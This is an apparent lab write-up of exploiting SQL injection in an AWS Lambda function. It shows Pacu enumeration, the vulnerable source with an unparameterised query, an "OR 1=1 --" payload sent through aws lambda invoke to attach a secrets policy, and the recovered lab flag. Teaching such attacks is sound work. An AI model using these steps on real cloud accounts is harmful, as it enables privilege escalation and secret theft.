Lambda SQL Injection to IAM Privilege Escalation
Overview
This writeup documents the exploitation of a SQL injection vulnerability in an AWS Lambda function to escalate privileges and extract a secret from AWS Secrets Manager.
Reconnaissance
Using Pacu’s IAM enumeration module, we discovered 22 roles and 3 policies within the target account:
Pacu > run iam__enum_users_roles_policies_groups
Enter fullscreen mode Exit fullscreen mode
Reviewing the enumerated data revealed a key role — invoker-lambda-sqli-privesc-* — that our compromised user was explicitly allowed to assume via sts:AssumeRole.
use this AWS command to retrieve to the policy JSON documents
aws iam get-policy-version --policy-arn --version-id
Three policies were identified:
Policy Purpose*-user
Grants IAM read permissions and ability to assume the invoker role
*_applier
Grants iam:AttachUserPolicy on our user
SecretAccessPolicy
Grants secretsmanager:GetSecretValue on the target secret
SecretAccessPolicy immediately stood out — it was the end goal, granting direct access to the target secret.
Assuming the Invoker Role
With sts:AssumeRole permissions confirmed, we assumed the invoker role directly in Pacu:
Pacu > assume_role arn:aws:iam::014498641618:role/invoker-lambda-sqli-privesc-to-access-secret-1783543122906
Enter fullscreen mode Exit fullscreen mode
The Pacu prompt updated to reflect the assumed role. We then exported the temporary credentials and loaded them into our AWS CLI profile for use outside Pacu.
Lambda Enumeration
With the invoker role active, we enumerated Lambda functions in us-east-1:
Pacu > run lambda__enum --region us-east-1
Enter fullscreen mode Exit fullscreen mode
One function was found: Vulnerable-lambda-sqli-privesc-to-access-secret-*. Downloading its source code from the S3 location in the metadata revealed the vulnerability.
Identifying the Vulnerability
<!--SNIP-->
db["policies"].insert_all([
# {"policy_name": "SecretAccessPolicy", "public": 'False'}
# ])
def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::{account_id}:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))
<!--SNIP-->
Enter fullscreen mode Exit fullscreen mode
The Lambda function applies IAM policies to users via a SQLite database query:
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
Enter fullscreen mode Exit fullscreen mode
User-supplied input is concatenated directly into the SQL query without sanitization or parameterization. This is a textbook SQL injection vulnerability — an attacker who controls policy_name can break out of the string and inject arbitrary SQL logic.
Crafting the Payload
Understanding the query structure, we crafted an injection payload:
SecretAccessPolicy' OR 1=1 --
SecretAccessPolicy
Valid-looking prefix to blend in
'
Closes the developer’s opening quote
OR 1=1
Always-true condition, returns all rows
--
Comments out the remainder of the query, including AND public='True'
The resulting query executed by the database:
SELECT policy_name FROM policies
WHERE policy_name='SecretAccessPolicy' OR 1=1 -- ' AND public='True'
Enter fullscreen mode Exit fullscreen mode
The AND public='True' security check is completely neutralized by the comment, causing the database to return all policies regardless of their visibility setting.
Exploitation
We formatted the payload as a valid Lambda invocation:
{
"policy_names": [
"SecretAccessPolicy' OR 1=1 --"
],
"user_name": "lambda-sqli-privesc-to-access-secret-1783549354532-user"
}
Enter fullscreen mode Exit fullscreen mode
Invoking the Lambda with this payload caused it to attach SecretAccessPolicy to our user, granting us secretsmanager:GetSecretValue on the target secret.
aws lambda invoke --function-name Vulnerable-lambda-sqli-privesc-to-access-secret-1783549354532 --payload fileb://payload.json output.txt --region us-east-1
Enter fullscreen mode Exit fullscreen mode
Extracting the Secret
Back in our original user session in Pacu, we ran the secrets enumeration module:
Pacu > run secrets__enum --region us-east-1
Enter fullscreen mode Exit fullscreen mode
One secret was found: lambda-sqli-privesc-to-access-secret-*-final_flag. The value was automatically saved locally:
cat ~/.local/share/pacu/vuln-lamdba/downloads/secrets/secrets_manager/secrets.txt
Enter fullscreen mode Exit fullscreen mode
{"vault-password": "cybr-labs-secret-846237-284529"}
답글 남기기